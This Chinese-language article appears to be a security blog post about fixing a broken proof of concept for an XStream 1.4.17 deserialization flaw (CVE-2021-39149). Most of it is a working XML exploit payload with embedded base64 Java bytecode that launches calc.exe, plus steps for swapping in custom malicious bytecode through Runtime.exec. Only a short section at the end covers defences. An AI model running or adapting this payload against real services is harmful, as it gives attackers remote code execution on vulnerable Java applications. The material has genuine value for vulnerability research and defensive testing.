Xstream最新反序列化poc执行报错问题
字数 799 2025-08-25 22:59:10

XStream 1.4.17 反序列化漏洞利用分析与修复指南

漏洞概述

XStream 是一个流行的 Java 库,用于将对象序列化为 XML 或 JSON 格式,以及反向操作。在 1.4.17 版本中存在反序列化漏洞(CVE-2021-39149),攻击者可以通过精心构造的 XML 载荷实现任意 Java 代码执行。

漏洞原理

该漏洞利用 XStream 反序列化过程中的几个关键点:

  1. 通过 dynamic-proxy 机制创建动态代理
  2. 利用 CompositeInvocationHandlerImpl 处理程序
  3. 通过 TemplatesImpl 类加载恶意字节码

原始 PoC 分析

原始 PoC 结构如下:

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map'/>
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
              <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                <default>
                  <__name>Pwnr</__name>
                  <__bytecodes>
                    <byte-array>恶意字节码1</byte-array>
                    <byte-array>恶意字节码2</byte-array>
                  </__bytecodes>
                  <__transletIndex>-1</__transletIndex>
                  <__indentNumber>0</__indentNumber>
                </default>
              </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

问题分析与修复

问题1:XML 标签闭合错误

错误现象

不识别字段的错误,XStream 尝试从 `sun.tracing.dtrace.DTraceProbe` 类中查找名为 `com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl` 的字段

**原因**:
原始 PoC 中 `<proxy>` 标签自闭合了:
```xml
<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>

修复方法
改为正确的标签对形式:

<proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
  <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
    <!-- 内容 -->
  </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</proxy>

问题2:缺少布尔值标签

错误现象
TemplatesImpl 反序列化过程中抛出异常,无法读取布尔值

原因
TemplatesImpl 的反序列化过程期望读取一个布尔值标签

修复方法
</default> 后添加布尔值标签:

</default>
<boolean>false</boolean>

完整可用的 PoC

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map'/>
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                  <boolean>false</boolean>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>
              <implementing__method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

自定义攻击载荷

要修改攻击行为,只需替换 <byte-array> 中的内容。生成恶意字节码的方法:

  1. 编写恶意 Java 类:
import java.io.IOException;

public class Evil {
    public Evil() {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}
  1. 编译并生成字节码:
javac Evil.java
  1. .class 文件转换为 Base64 编码的字节数组

防御措施

  1. 升级 XStream 到最新版本
  2. 使用 XStream 的安全框架配置:
XStream xstream = new XStream();
xstream.addPermission(NoTypePermission.NONE);
xstream.allowTypesByWildcard(new String[] {
    "com.your.package.**"
});
  1. 实现自定义的 TypePermission 限制可反序列化的类

总结

该漏洞利用 XStream 反序列化过程中的多个特性,通过精心构造的 XML 载荷实现任意代码执行。理解其原理和修复方法对于 Java 应用安全至关重要。在实际应用中,应严格限制反序列化的类范围,并及时更新相关库版本。

XStream 1.4.17 反序列化漏洞利用分析与修复指南 漏洞概述 XStream 是一个流行的 Java 库,用于将对象序列化为 XML 或 JSON 格式,以及反向操作。在 1.4.17 版本中存在反序列化漏洞(CVE-2021-39149),攻击者可以通过精心构造的 XML 载荷实现任意 Java 代码执行。 漏洞原理 该漏洞利用 XStream 反序列化过程中的几个关键点: 通过 dynamic-proxy 机制创建动态代理 利用 CompositeInvocationHandlerImpl 处理程序 通过 TemplatesImpl 类加载恶意字节码 原始 PoC 分析 原始 PoC 结构如下: 问题分析与修复 问题1:XML 标签闭合错误 错误现象 : 修复方法 : 改为正确的标签对形式: 问题2:缺少布尔值标签 错误现象 : 在 TemplatesImpl 反序列化过程中抛出异常,无法读取布尔值 原因 : TemplatesImpl 的反序列化过程期望读取一个布尔值标签 修复方法 : 在 </default> 后添加布尔值标签: 完整可用的 PoC 自定义攻击载荷 要修改攻击行为,只需替换 <byte-array> 中的内容。生成恶意字节码的方法: 编写恶意 Java 类: 编译并生成字节码: 将 .class 文件转换为 Base64 编码的字节数组 防御措施 升级 XStream 到最新版本 使用 XStream 的安全框架配置: 实现自定义的 TypePermission 限制可反序列化的类 总结 该漏洞利用 XStream 反序列化过程中的多个特性,通过精心构造的 XML 载荷实现任意代码执行。理解其原理和修复方法对于 Java 应用安全至关重要。在实际应用中,应严格限制反序列化的类范围,并及时更新相关库版本。